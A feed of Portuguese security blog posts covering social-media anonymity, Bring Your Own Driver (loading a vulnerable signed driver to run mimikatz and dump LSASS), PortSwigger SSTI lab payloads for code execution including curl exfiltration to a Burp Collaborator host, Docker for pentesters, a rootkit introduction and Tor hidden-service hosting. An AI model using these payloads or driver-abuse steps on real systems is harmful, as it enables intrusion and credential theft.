Independente da rede social que voce estiver, voce sempre irá se deparar com pessoas publicando sobre sua vida pessoa, postando fotos de lugares que está no momento ou visitou recentemente, e se voce também usa rede social para isso, tudo bem! O problema é quando usam redes sociais para divulgar serviços que não se encaixam a essa vibe de vida pessoal. Muitas vezes serviços considerados ilegais, ou na margem da lei.

É extremamente necessário que haja uma camada de anonimato ao interagir com esses conteúdos e também é importante saber separar sua vida pessoal das suas aventuras na internet.

Cuidados ao usar redes sociais

A rede social que voce usa com frequencia é a ferramenta que mais conhece voce, por isso foram criadas várias CLI (command line interface) para poder descobrir mais informações de um alvo (método conhecido como OSINT). Algumas ferramentas conhecidas:

Qualquer informação que voce coloca na rede social, pode se tornar valiosa na mão de pessoas erradas, sabendo disso é possivel encontrar algumas soluções para podermos evitar isso

Informações pessoais

Se algum dia voce for publicar na rede social uma imagem ou um texto que possa te comprometer, tenha certeza de que nada da sua conta esteja vinculada a voce, ou vice versa.

A pior coisa que pode acontecer é voce se prejudicar por alguma coisa que publicou na internet, um exemplo classico é como o criador da SilkRoad foi pego.

Se voce ainda acha que se preocupar com isso é bobeira, da uma olhada nesse vídeo aqui, que explica como uma foto na rede social o hacker conseguiu o telefone pessoal do ministro

Seu endereço ip

Vale lembrar que quando alguem consegue pegar seu endereço IP não tem porque se preocupar, a unica coisa que a pessoa consegue descobrir com o IP é a localização da sua provedora de internet, exemplo:

$ wget -q -O - https://freegeoip.live/csv/$(curl ifconfig.me)

Porém se as autoridades conseguirem o seu IP, eles conseguem localizar qual é o endereço exato da sua casa.

Pseudonimo

Um pseudonimo é um nome ficticio, para que o seu nome verdadeiro seja ocultado. Eles são perfeitos para criar uma camada de anonimato, principalmente porque esse pseudonimo não tem (e nunca deverá ter) qualquer ligação com você.

Caso voce reutilize pseudonimos em várias redes sociais, lembre-se de se manter anonimo, para que não queime seu pseudonimo

Metadados

Metadados são informações que ficam junto a um arquivo, descrevendo dados tecnicos ou de ambiente de algum arquivo ou imagem.

Um exemplo classico de metadados de uma imagem é sua localização de onde foi tirada (no iphone por exemplo). Se essa imagem for parar em alguma plataforam que não remove os metadados, eles ficarão publicos na internet.

Apesar dos metadados dos arquivos serem retirados pela maioria das plataforamas, sempre é bom remove-los dos arquivos que voce irá publicar.

Um exmplo real, postado no site Respostas Ocultas (um forum BR da deepweb de perguntas e respostas) sobre um caso de um usuário que não se preocupou com os metadados e vazou a localização de onde morava Lembrando de abrir com o navegador tor

Comunicação anônima

Como voce faz para se comunicar quando quer conversar sobre algo comprometedor? usa o telegram? Se sim, lembre-se que meios de comunicação na surface tendem a ser vigiados e monitorados, a minoria desses serviços que realmente se importa com a privacidade. Com a perca da privacidade, muitas vezes o anonimato vai embora também, por isso existem alguns metodos que voce pode fazer para que sua conversa fique segura.

Usando criptografia com chaves PGP

A criptografia é o caminho para quando se trata de manter algo seguro, algumas plataformas como whatsapp ja habilitam isso por padrão, mas até que ponto voce confia nisso? Se a policia for la na casa do zuck, será mesmo que essa criptografia ainda se mantẽm?

Caso voce não acredite nessa abordagem, voce mesmo pode criar sua criptografia utilizando chaves PGP (Pretty Good Privacy), que em resumo é um software que cria autenticação e criptografia para uma comunicação de dados.

A vantagem é que voce ainda pode usar qualquer meio de comunicação telegram, whatsapp, até correio que sua mensagem ficará segura, e apenas o destinatário poderá abrir a carta e ler o conteúdo.

Porém a desvantagem é voce deve se preocupar com sua chave privada e também tem que ficar criptografando as mensagens assim que for enviar, se quiser conversar em grupo fica exponencialmente mais irritante.

Uso do IRC (internet relay chat)

O IRC é outro método para comunicação, acredito que seja mais objetivo do que o uso da chave PGP. Com o internet relay chat é possivel entrar em canais de texto e conversar normalmente, como voce faria em plataformas como discord e slack, porém com várias vantagens para voce que quer se tornar anonimo:

Não é necessário login, muito menos um email
A facilidade na integração com a rede tor e uso da vpn
Muitos servidores IRC não guardam logs das suas conversas (e se voce duvidar disso, pode criar seu proprio servidor IRC)

Para iniciantes o uso do IRC pode parecer meio complexo, talvez seja por isso que cada vez menos existem servidores IRC, porém é amplamente usado por comunidades de tecnologia da informação e até mesmo em series de TV, como Mr Robot.

Caso voce queira entender mais sobre o IRC, recomendo dar uma lida nesse artigo.

Autor do post: Vtr

[PT-BR] Bring Your Own Driver

Wed, 31 Mar 2021 00:00:00 +0000

Red Team

A área de Red Team preza principalmente por uma invasão precisa, sem deixar rastros e indo direto ao ponto, tudo isso ao mesmo tempo.

E por ser dessa forma, envolve vários cuidados e técnicas que acabam sendo muito interessantes, nesse artigo vamos falar sobre uma delas. Antes de falar sobre a técnica, vamos falar um pouco sobre o cenário em que se aplica, existe uma validação de assinatura de driver no windows, essa validação, basicamente, faz uma busca por assinaturas da microsoft em um driver quando ele está para ser carregado, e essa validação, em um red team mitiga completamente a ideia de carregar um driver do atacante, já que assim que esse driver for carregado, vai ser feito um alert sysadmin dizendo que foi carregado um driver não assinado. Aqui, entra a técnica chamada de BYOD ou Bring Your Own Driver.

Cenário possível

Vamos montar o seguinte cenário, o atacante precisa fazer um dump das hashes do LSASS do windows, para isso ele vai precisar do mimikatz. Porém, ele só pode usar o mimikatz sem nt authority\system, se o driver mimidrv.sys for carregado, o que é (ou deveria ser) inviável, pois o sysadmin seria alertado.

Bring Your Own Driver

Vamos resolver o dilema do atacante. Sabemos que tudo que precisa para que a validação ocorra sem alarde, é que o driver seja assinado, agora pense o seguinte, se existisse um driver assinado pela microsoft que permita você carregar outros drivers, esse driver seria validado? A resposta para essa pergunta é: não. Mas você deve estar pensando “A microsoft não tem um driver desses, portanto é um cenário impossível”, e claro, a microsoft não tem um driver desses, mas o que impede um hacker de explorar uma vulnerabilidade em algum desses drivers para dar load/unload no driver que ele desejar, no nosso cenário, o driver de desejo é o mimidrv.sys. Recaptulando, basta o atacante carregar um driver assinado, porém vulnerável, explorá-lo e dar load no driver de desejo.

gdrv.sys

O gdrv.sys, é um driver assinado pela microsoft, que possui algumas poc’s para load/unload de driver, o que é perfeito para um bring your own driver. Tudo que precisamos fazer é usar alguma dessas poc’s, para explorar o driver em questão e por fim, dar load no driver de desejo (no caso do cenário, o mimidrv.sys).

PoC

poc-load.exe gdrv.sys mimidrv.sys

mimidrv.sys

mimikatz.exe

capcom.sys

O capcom.sys é um driver que eleva seus privilégios de usuário para nt authority\system, o que também é muito interessante.>br:

poc-load.exe gdrv.sys capcom.sys

Essa é só uma das diversas técnicas nessa área de red teaming, espero tenham gostado e se interessado mais pelo assunto. Kyum Security.

Autor do post: kosu

[PT-BR] Server Side Template Injection.

Thu, 25 Mar 2021 00:00:00 +0000

Olá. Bem vindos ao meu primeiro artigo na HardDisk! A vulnerabilidade web que será abordada neste artigo é, tal como explícito no título, Server Side Template Injection (SSTI), falha amplamente conhecida, mas tão pouco explorada. A vulnerabilidade é, por grosso modo, uma junção entre XSS e RCE. XSS por se tratar de uma falha no template do servidor web, onde executará como server-side, e RCE por se tratar de uma execução de comandos no serviço.

Ressaltemos aqui que os ambientes explorados são controlados e feitos para tal vulnerabilidade. Você pode praticar aqui: Labortórios da PortSwigger.

Server-side Template Injection simples.

Primeiramente, para que treinemos de maneira eficaz, vamos começar com o SSTI básico. Vejamos a seguir:

Explicando as requests: ao entrarmos em determinada área do site, ele puxa um parâmetro GET (encontrado na URL), onde o mesmo retorna o que foi dito na template no site “Unfortunately this product is out of stock”. Como o SSTI se trata de um exemplo simples, utilizaremos um payload simples.

Como visto no exemplo acima, utilizamos o seguinte payload:

    <%=+3*3+%>

Note que o payload possui sinais positivos “+” porque, ao tentarmos com espaços (<%= 3*3 %>), o site retorna um erro. Com isso, em aplicações web, podemos substituir os espaços com o sinal de + ou com o espaço criptografado com URL Encode (iremos ver isso mais para frente). Já que conseguimos realizar o SSTI, faremos agora o que o laboratório está pedindo: apagar o arquivo “morale.txt” do usuário Carlos. E vamos nessa:

    <%=+system("rm+/home/carlos/morale.txt")+%>

Note que o “system” do payload seria para executar comandos do sistema na aplicação web, e entre os parênteses e aspas, o próprio comando a ser executado.

SSTI em Code Context.

Analisando as requests: ao clicarmos em “Submit” para setarmos o nosso usuário, ele puxa uma requisição POST e, no corpo das requisições, um parâmetro chamado “blog-post-author-display=user.name”. Primeiramente, como todo clássico SSTI, vamos buscar multiplicar dois números. Se liga:

blog-post-author-display=user.name}}{{3*3}}

Explicando a bagunça: injetamos o payload de multiplicação dentro da perfomace " }}{{COMANDO}} “, típicos de payload em Code Context. Agora, vamos executar comandos shell com base no que descobrimos. Vejamos:

blog-post-author-display=user.name}}{{system("rm+/home/carlos/morale.txt")}}

É, deu merda. Ao analisarmos a resposta do erro, ele retorna como um erro no Python. Com isso, iremos realizar o SSTI Code Context, agora fazendo juz ao nome, já que iremos criar um payload “codado” em Python. Vejamos:

blog-post-author-display=user.name}}{%+import+os+%}{{os.system('rm+/home/carlos/morale.txt')}}

Ao atualizarmos a página, retornamos como laboratório completo.

SSTI utilizando a documentação.

Partindo agora para o nosso terceiro exemplo, iremos utilizar a documentação do template do site para que a gente consiga explorar a vulnerabilidade. O payload que você irá utilizar será com base no erro da template do site. Para isso, utilizei o site HackTricks. Nele, há vários payloads para os diferentes templates do site. Olha aí:

Ao procurarmos o payload que gere o erro na template do site e jogarmos no campo, recebemos isso como resposta:

<a th:href="@{__${path}__}" th:title="${title}">

OBS: O payload utilizado acima pode servir para qualquer parâmetro vulnerável a SSTI, como GET. Sim, você pode causar um erro na documentação do site jogando o payload acima na URL, desde a mesma seja vulnerável a SSTI.

Se você analisou bem a imagem acima, viu o destaque que está na resposta de erro: “Freemaker”. O Freemaker é um motor de templates para servidor web. Vimos que o site está rodando Freemaker com base no erro de sua documentação. Entrando no site da HackTricks, pegamos o payload que utilizaremos e injetemos no site:

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("rm /home/carlos/morale.txt") }

SSTI utilizando linguagem desconhecida e documentação.

Bom, primeiramente você deve estar se perguntando: “como assim uma linguagem desconhecida?”. Sim, é literalmente uma linguagem desconhecida (você utilizará ela com base na documentação do site) feita justamente para explorar Server Side Template Injection. Bom, partindo para a prática:

Analisando a imagem acima, ao clicarmos em “View details”, o serviço web puxa um parâmetro GET (na url) com uma frase de erro, onde a mesma é refletida na index do site. Feito isso, precisaremos de um payload para causar um erro na template, e com isso, descobrirmos qual o site está usando. Vejamos a seguir:

Vemos que o site está utilizando o “Handlebars” para a template. Pesquisando mais afundo na internet, descobrimos que o Handlebars tem um payload de SSTI, conforme visto a seguir:

wrtz{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
  {{this.pop}}
  {{this.push (lookup string.sub "constructor")}}
  {{this.pop}}
  {{#with string.split as |codelist|}}
    {{this.pop}}
    {{this.push "return require('child_process').exec('whoami');"}}
    {{this.pop}}
    {{#each conslist}}
      {{#with (string.sub.apply 0 codelist)}}
        {{this}}
      {{/with}}
        {{/each}}
  	  {{/with}}
	{{/with}}
 {{/with}}
{{/with}}

Porém, o payload é extenso demais para utilizarmos na URL. Com isso, iremos criptografá-la com URL Encode no BurpSuite. Se liga:

Feito isso, injetamos o payload criptografado na URL e o site, por se tratar de SSTI ser uma falha server-side, irá executar o comando. :)

Bind SSTI com Out Of Band Exfiltration.

Agora com um módulo mais avançado, iremos fazer um Server Side Template Injection com Out Of Band Exfiltration. Mas primeiramente, o que é Out Of Band? OOB significa dados fora de bandas sendo trafegados independentes (como algo sem rumo). Para isso, precisamos do BurpSuite Pro, onde o mesmo possui um módulo focado em Out Of Band.

Clicando em “Burp”, e logo em seguida em “Burp Collaborator Client”, iremos abrir uma janela. Essa janela disponibilizará um subdomínio do BurpSuite, onde o mesmo tem como objetivo capturar todas as requests que nele forem recebidas. Com isso, iremos adicionar no payload a URL do Burp Collaborator Client. Vejamos a seguir:

Ao analisarmos a URL, o mesmo puxa um parâmetro GET que é refletido na index do site. Para isso, iremos utilizar o clássico payload:

<%= system("comando") %>

Com isso, para que realizemos o OOB exfiltration, iremos utilizar o comando “curl” para enviar requisições pro subdomínio do Burp Collaborator e um payload entre crazes para a execução de comandos. No final, ficará assim:

<%= system("curl http://`whoami`vsro5ges2to50fpn7sje8ye0brhi57.burpcollaborator.net") %>

Explicando o payload: o curl irá enviar uma requisição para o site que captura todas as requisições, e o whoami para capturar o RCE do resultado do comando. Com isso, iremos receber essa brincadeira aqui:

Curtiu? Veja meu github

Valeu, falou e fui !!!

Autor do post: march0

[PT-BR] Arquitetura Android

Wed, 24 Mar 2021 00:00:00 +0000

Arquitetura Android

Olá nobres! nesse artigo irei falar um pouco sobre a arquitetura do android… como ela funciona e etc.
Como muitos sabem e alguns desconhecem, o Android é um Linux. Diante deste fato ele consequentemente é Open Source.

O que é Open Source? é o nome utilizado para programas ou para qualquer coisa que você consiga ler código fonte, ou seja, podemos ver ás linhas de código daquele programa (Obviamente código disponíbilizado pelo criador). Pelo fato do Android ser open source, vemos o Android em Carros, Televisões, Celulares e etc.

Algo curioso que poucas pessoas sabem é que o Android não foi criado pela Google…
Em 2005 a Google comprou a empresa criadora do Android… a Android Inc. que em 2003 havia criado o Android.

Código fonte do Android

Agora a cereja do bolo; a arquitetura Android.

(Irei me referir a cada camada por sua cor.)

Verde Claro: Na imagem acima podemos vê que o Linux Kernel é a base do Android.
Essa camada é responsável pelo gerenciamento de energia e drivers de Display, Wi-Fi, Câmera, Áudio…

Verde Escuro: O Hardware Abstract Layer (HAL), responsável pela Câmera, Áudio, Sensores, Bluetooth e etc.

Azul: Está camada é onde ficam as livrarias que em sua grande maioria são escritas em C/C++, elas são responsáveis pelos navegadores, SQLite (Database Local), renderizador de vídeo (OpenGL) e etc…

Laranja: As aplicações para o Android são desenvolvidas em Java, mas aí você me diz: “React-Native é NodeJS”, “Flutter é Dart”, “Ah mas Xamarin é C#”, sim você está correto! Mas no momento em que vocês vão compilar o código para APK ele é convertido para Java. Para os que conhecem o funcionamento do Java, acredito que já sabem o porquê do DVM (Dalvik Virtual Machine), mas para os que não conhecem: O Java roda em uma JVM (Java Virtual Machine), que é uma maquina virtual do próprio Java que serve para converter o código Java para código de maquina; o código Java não é compilado, e por esse fato o Java terá compatibilidade com todos os sistemas que possuir uma JVM.

Roxo: Android Framework ou Java API Framework, é a camada que fornece aos desenvolvedores as funções do Android, por exemplo: Notificações, instalar e desinstalar aplicativos, gerenciamento de atividades e etc.

• Resumindo: É o Android Framework que permite que os aplicativos maneja seu Android.

Rosa: Na camada “Apps”, são os aplicativos que vem por padrão no Android, sejam os aplicativos do Google ou da empresa que fabricou o celular. Por exemplo os celulares da Motorola, Samsung, LG…

(Está é outra imagem para dar uma pespectiva diferente… e mais detalhada.)

Autor do post: blackcrw

[PT-BR] Introdução de Docker para Pentesters

Mon, 22 Mar 2021 00:00:00 +0000

Por que docker?

Na area de pentest é quase que um requisito você ter instalado diversas ferramentas que são utilizadas no dia a dia no seu ambiente de trabalho, muitas vezes o profissional opta por usar um sistema operacional que ja tenha tudo ali, sem necessidade de instalar mais nada (KaliLinux por exemplo) justamente para não se preocupar com instalação de programas.

Quem não utiliza Kali é obrigado a instalar TUDO que for usar.

Pare para pensar caso voce tivesse um PC novo, quantos ferramentas você iria baixar? Eu mesmo teria que fazer download de umas 10 ferramentas (wireshark, burpsuite, tcpdump, netcat, ftp, e a lista continua infinitamente). Eu sou preguiçoso e não tenho tempo pra ficar instalando ferramenta, isso sem contar os programas que dependem de outros, ou o pesadelo supremo: o conflitos de versões (pra que tanto python??)

Imagine se voce pegasse cada uma dessas ferramentas e colocasse dentro de uma caixa (uma caixinha mesmo), e essa caixa pudesse ser utilizada em qualquer computador, seja ele linux, windows ou mac, e a melhor parte: essa caixinha pudesse sumir e aparecer quando você quisesse.

Essa caixinha é o docker.

No contexto do docker, essa caixinha se chama container, que na pratica é um sistema operacional encapsulado, que pode ser descartado e recriado a qualquer momento.

Um container é criado a partir de uma imagem, dizendo quais programas ele vai ter instalado, quais diretórios ele tem acesso do seu computador, configurando o container em geral. Essa imagem é descrita em um arquivo chamado por Dockerfile.

Como docker ajuda no Pentest?

Com o docker, você tem em suas mãos milhares de imagens pré-prontas (disponíveis no site oficial) que já vem com ferramentas instaladas e configuradas devidamente.

Trocou de computador? Sem problema, as imagens que voce criou podem ser utilizadas em qualquer sistema operacional, basta instalar docker.

Quer testar algo que pode te dar problemas, ou até prejudicar o seu sistema operacional? Rode em docker, se der problema voce deleta o container.

Você não precisaria se preocupar com o espaço em disco quando fosse baixar novas ferramentas porque os programas instalados no container não estão no seu sistema, então removendo o container, é como se essa ferramenta nunca tivesse existido.

E caso alguem fosse vasculhar seu computador para ver as coisas que anda fazendo.. não encontraria nada, já que tudo que voce fez foi em um container do docker (que aliás nem existe mais :P)

Como usar o docker?

Primeiro você precisa ter o docker instalado, depois disso ja podemos começar com o primeiro comando do docker:

Esse comando a seguir mostra todos os containers que voce tem, independente se estejam rodando ou não

$ sudo docker ps -a

Provavelmente voce verá que não há nada na lista de containers, o que acha de criarmos um?

Vamos iniciar baixando a imagem do alpine (poderia ser ubuntu, mas escolhi alpine mesmo)

$ sudo docker pull alpine

Agora verifique a imagem do Alpine que você baixou faz parte das suas imagens:

$ sudo docker images

Se sua imagem estiver ai, podemos iniciar o container pelo comando:

$ sudo docker run --name exemplo --rm -it alpine /bin/sh

Se tudo der certo abrira uma shell root para você no terminal, isso significa que deu tudo certo e você está dentro de um container!

Para sair do container basta rodar o comando

$ exit

Vamos detalhar melhor o que cada item desse comando faz…

--name especifica o nome do container
--rm Deleta o container assim que você sai dele
-it Obtem uma shell interativa
alpine /bin/sh a primeira parte diz qual imagem vamos usar, e a /bin/sh significa qual comando vamos rodar nele, no caso, queremos o shell

Perceba que você rodou o comando run com o --rm, isso significa que tudo que você fez nele, será apagado assim que sair dele, veja os containers que você tem com esse comando:

$ sudo docker ps -a

Se você quer ter um container que não é deletado, basta rodar o mesmo comando, só que sem o --rm.

Docker para pentest

Agora que você viu como iniciar um container por linha de comando, e também via arquivos Dockerfile, vou demonstrar como isso pode ser aplicado para pentest.

No site oficial do Docker, exite uma parte dedicada as imagens do docker, e nela existem milhares de imagens PRONTAS para você dar pull nelas e começar a usar.

Porém seria muito fácil eu dizer que é só usar as que tem lá, o que acha de criarmos nossa própria imagem?

Primeiro vamos criando nosso Dockerfile, para dizer o que terá instalado no nosso container.

FROM ubuntu:latest

RUN apt-get update && apt-get upgrade -y && apt-get install -y curl proxychains tor nmap

CMD ["/bin/bash"]

FROM Demonstra qual imagem você estará se baseando
RUN Roda comandos em bash, normalmente usado para instalar dependencias. Ele é executado quando o container está sendo criado.
CMD Ele demonstra qual comando será executado quando um container está iniciando (Só pode existir 1 CMD por arquivo Dockerfile)

Esse Dockerfile está dizendo que o nosso container será ubuntu, e terá instalado por padrão o curl, proxychains, tor e o nmap.

Podemos criar o container a partir desse Dockerfile com o seguinte comando:

$ sudo docker build -t pentest .

Com ele criado, podemos verificar que ele existe na lista dos containers criados:

$ sudo docker ps -a

Se ele estiver nessa lista significa que podemos rodar o comando para iniciá-lo:

$ sudo docker run -it pentest

Conclusão

Agora que você sabe o básico de como começar com o docker no mundo de pentest, vou deixar algumas possibilidades para os curiosos:

Configurar a vpn diretamente no Dockerfile, assim toda vez que você entra no container, entrará na VPN também
Criar Dockerfile que faz rotinas de pentest para você (brute force de diretório, brute force de login, scan de portas), de forma automatizada.
Criar um container do tipo C2 ou C&C (command and control) e criar outros containers para serem nodes para testar sua botnet.

Acho que você entendeu a ideia: a única limitação é a criatividade.

Autor do post: Vtr

[PT-BR] Rootkits explicados

Wed, 17 Mar 2021 00:00:00 +0000

Essa sera uma introdução a rootkits em sistemas linux, mas é necessario o conhecimento previo de C para um entendimento mais completo

O Que é um rootkit?

Contextualizando, rootkits são softwares, geralmente maliciosos, que visam se esconder no sistema hospedeiro, normalmente desenvolvidos para esconder a existência de certos processos e/ou programas, e como ele roda em kernel space, torma sua detecção extremamente complexa.

Loadable Kernel Module (LKM) são modulos cujo tem objetivo de estender as funcionalidades do kernel sem a necessidade de recompilar ele com essa nova feature. Os LKMs são normalmente usados para adicionar suporte para novos hardwares ou para adicionar chamadas de sistema(sys calls).

Aqui está o motivo por ser aqui o “habitat natural” dos rootkits, pois os LKMs rodam como uma extensão do kernel, portanto, rodando em ring 0, assim, concedendo poderes ilimitados dentro do sistema.

estrutura de rings

LKM Rootkits são módulos de kernel que funcionam geralmente “hookando”(sequestrando) system calls e alterando seu funcionamento normal, como por exemplo, “hookando” a sys call getdents(get directory entries) você poderia fazer um filtro para não ser retornado arquivos que se iniciam com secret.

Esta técnica foi popularizada em 1999 quando o grupo The Hackers Choice(THC) publicou um artigo que ficou conhecido como LKM HACKING. Hookando syscalls um atacante pode esconder arquivos, diretórios ou processos, monitorar operações de arquivos etc, assim como citado anteriormente.

O Que são system calls?

Todos SO’s possuem funções “build in” em seu kernel, que são usadas para todas as operações nesse sistema. As funções que o linux usa são chamadas de systemcalls. Elas representam uma transição de niveis mais altos para kernel space, de ring’s mais altos para ring 0. A abertura de um arquivo no kernel space, por exemplo, é representado pela syscall sys_open.

Cada systemcall tem um número definido, que é realmente usado para fazer a chamada do sistema. O Kernel usa a interrupção 0x80 para gerenciar todas as systemcall. O número da systemcall e quaisquer argumentos são movidos para alguns registradores (eax/rax para número da systemcall, por exemplo). O número da systemcall é um índice em um array de uma estrutura do kernel chamada sys_call_table[]. Essa estrutura mapeia os números de chamadas do sistema para a função de serviço necessária.

Claro que não vamos escrever um rootkit nesse post, até porque isso levaria um estudo aprofundado e esse post tem a ideia de ser uma introdução, mas como uma boa introdução vamos escrever um hello world em Kernel Module

Escrevendo um hello world

// hello.c

// necessario para criar o modulo
#include <linux/module.h>
// necessario para a macro KERN_INFO
#include <linux/kernel.h>


// função de entrada, como a `main` em um programa generico em C
static int hello_init(void) {
  // printk é uma função para imprimir mensagens no log do kernel
  printk(KERN_INFO "Hello world!\n");
  // finaliza com sucesso
  return 0;
}

static void hello_exit(void) {
  printk(KERN_INFO "Fechando hello world\n");
}

// Defina qual sera a função de point enter
module_init(hello_init);

/*
Similiar ao module_init, mas sera a função que sera
executada quando o modulo ser descarregado */
module_exit(hello_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("R3tr074");
MODULE_DESCRIPTION("LKM hello world");
MODULE_VERSION("1.0");

Agora que terminamos de escrever o codigo precisamos compilar ele, usaremos um Makefile para facilitar esse processo.

# Makefile

# objeto para compilar
obj-m := hello.o
# Compilador
CC = gcc -Wall
# Diretorio de build
# (uname -r é usado para selecionar as libs do kernel atual)
build := /lib/modules/$(shell uname -r)/build
PWD := $(shell pwd)

all:
	$(MAKE) -C $(build) M=$(PWD) modules

clean:
	$(MAKE) -C $(build) M=$(PWD) clean

Agora já temos tudo que precisamos, basta digitar make em seu terminal e ver a magica acontecer, vc deve ter algo parecido com isso apos o make terminar:

arquivos compilados

Não se assuste, a unica coisa que precisaremos agora é o .ko(Kernel Object), vamos carregar esse modulo para o kernel com o simples comando:

sudo insmod hello.ko

E pronto, o modulo foi carregado, para verificar você pode executar lsmod e procurar um modulo chamado “hello” ou ir até /var/log/kern.log e ver se acha sua mensagem deixada pelo printk, para descarregar o modulo, basta executar sudo rmmod hello.

Conclusão

Para você que gostou do assunto, prepare-se, é um assundo bem denso, porem, facinante.

Referências

https://blog.convisoappsec.com/linux-rootkits-hooking-syscalls/

http://www.ouah.org/LKM_HACKING.html

https://en.wikipedia.org/wiki/Protection_ring

Autor do post: R3tr0

[PT-BR] Hospedando sites na deepweb

Tue, 16 Mar 2021 00:00:00 +0000

Lendo este artigo, você aprenderá como hospedar um site ou serviço na Deep Web (site com .onion)

Antes de hospedar o site na Deep Web, é necessário que já exista um site ou um serviço pronto para ser exposto ao mundo, nesse artigo demonstremos como deixar publico um site, porém o mesmo se aplica a um serviço ssh, ftp, irc e etc

PRÉ-REQUISITOS

1.1. Apache

Você precisará ter instalado o apache, que fará com que sua pagina html seja exposta, sem o apache não é possível fazer com que pessoas acessem sua página.

$ sudo apt-get install apache2

Inicie o serviço do apache

$ sudo systemctl start apache2.service

Sempre que quiser parar o serviço do apache, execute esse comando:

$ sudo systemctl stop apache2.service

Depois de concluir a instalação do apache, certifique-se que a instalação deu certo entrando no localhost. Ao entrar na página você deve ver uma pagina igual a essa:

1.2. TOR

Para colocar essa página na deepweb você vai precisar do Tor. Se você não tiver o Tor instalado, execute os seguintes comandos no terminal:

$ sudo apt-get install tor 
$ sudo tor

HOSPEDANDO O SITE

Se você chegou até aqui é porque já tem o seu site pronto em mãos e tudo devidamente instalado, vamos começar hospedando o site localmente.

Apenas na sua máquina (localhost)

Entre na pasta do seu projeto e utilize o pwd para confirmar o caminho do seu projeto

$ pwd

Sua saida deve ser o exato caminho do seu projeto, veja o exemplo:

/home/vtrgzll/projeto/siteDeepWeb

$ sudo rm -rf /var/www/html/* # apaga a pagina padrão do apache e tudo que veio junto com ela
$ sudo mv ./* /var/www/html # movendo tudo que tem no seu projeto para o apache
$ sudo systemctl restart apache2.service # reinicia o serviço do apache caso já n"

Após seguir estas etapas verifique se aparece seu site corretamente. Seu site está disponível localmente em localhost.

Hospedando na Deep Web

Agora que seu site já esta rodando localmente, precisamos configurar para poder ser acessado via Tor (domínio .onion), e para isso vamos precisar mexer em algumas configurações do tor

Edite o arquivo torrc usando sudo:

$ sudo nano /etc/tor/torrc

Você precisará colocar as duas linhas a seguir em seu torrc:

HiddenServiceDir /var/lib/tor/my_website/
HiddenServicePort 80 127.0.0.1:80

Reinicie o Tor para atualizar as configurações

$ sudo systemctl restart tor 
$ sudo cat /var/lib/tor/my_website/hostname

COMO ACESSAR O SITE?

O Último comando te dará o endereço .onion necessário para acessar a página na deepweb, basta você abrir o Navegador Tor Browser e entrar com o seu link.

Autor do post: Vtr